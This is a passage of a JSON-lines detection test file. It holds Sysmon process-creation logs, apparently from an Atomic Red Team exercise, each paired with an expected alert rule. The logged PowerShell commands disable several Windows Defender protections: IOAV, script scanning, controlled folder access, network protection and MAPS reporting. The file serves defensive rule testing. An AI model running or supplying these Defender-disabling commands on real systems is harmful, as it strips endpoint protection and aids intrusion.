Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -DisableIOAVProtection $true\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T19:44:34.8524432Z\",\"eventRecordID\":\"252663\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -DisableIOAVProtection $true", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-6122-60e3-5501-000000004800}", "win.eventdata.processId": "2412", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 19:44:34.850", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "252663", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T19:44:34.8524432Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92010", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender downloaded file scanning was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-6241-60e3-5701-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"3932\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 19:49:21.722\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -DisableScriptScanning $true\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 19:49:21.722\\r\\nProcessGuid: {4dc16835-6241-60e3-5701-000000004800}\\r\\nProcessId: 3932\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -DisableScriptScanning $true\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T19:49:21.7244621Z\",\"eventRecordID\":\"252777\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -DisableScriptScanning $true", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-6241-60e3-5701-000000004800}", "win.eventdata.processId": "3932", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 19:49:21.722", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "252777", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T19:49:21.7244621Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92011", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender script scanning was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-64a3-60e3-6901-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"4880\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 19:59:31.139\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 19:59:31.139\\r\\nProcessGuid: {4dc16835-64a3-60e3-6901-000000004800}\\r\\nProcessId: 4880\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T19:59:31.1448035Z\",\"eventRecordID\":\"253037\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-64a3-60e3-6901-000000004800}", "win.eventdata.processId": "4880", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 19:59:31.139", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253037", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T19:59:31.1448035Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92012", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender Controlled folder access was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-6568-60e3-6a01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"1480\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 20:02:48.537\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -EnableNetworkProtection AuditMode\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 20:02:48.537\\r\\nProcessGuid: {4dc16835-6568-60e3-6a01-000000004800}\\r\\nProcessId: 1480\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -EnableNetworkProtection AuditMode\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T20:02:48.5392839Z\",\"eventRecordID\":\"253061\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -EnableNetworkProtection AuditMode", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-6568-60e3-6a01-000000004800}", "win.eventdata.processId": "1480", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 20:02:48.537", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "253061", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T20:02:48.5392839Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92013", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender network protection was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-65f7-60e3-6c01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"5996\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 20:05:11.183\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -MAPSReporting Disabled\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 20:05:11.183\\r\\nProcessGuid: {4dc16835-65f7-60e3-6c01-000000004800}\\r\\nProcessId: 5996\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -MAPSReporting Disabled\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: 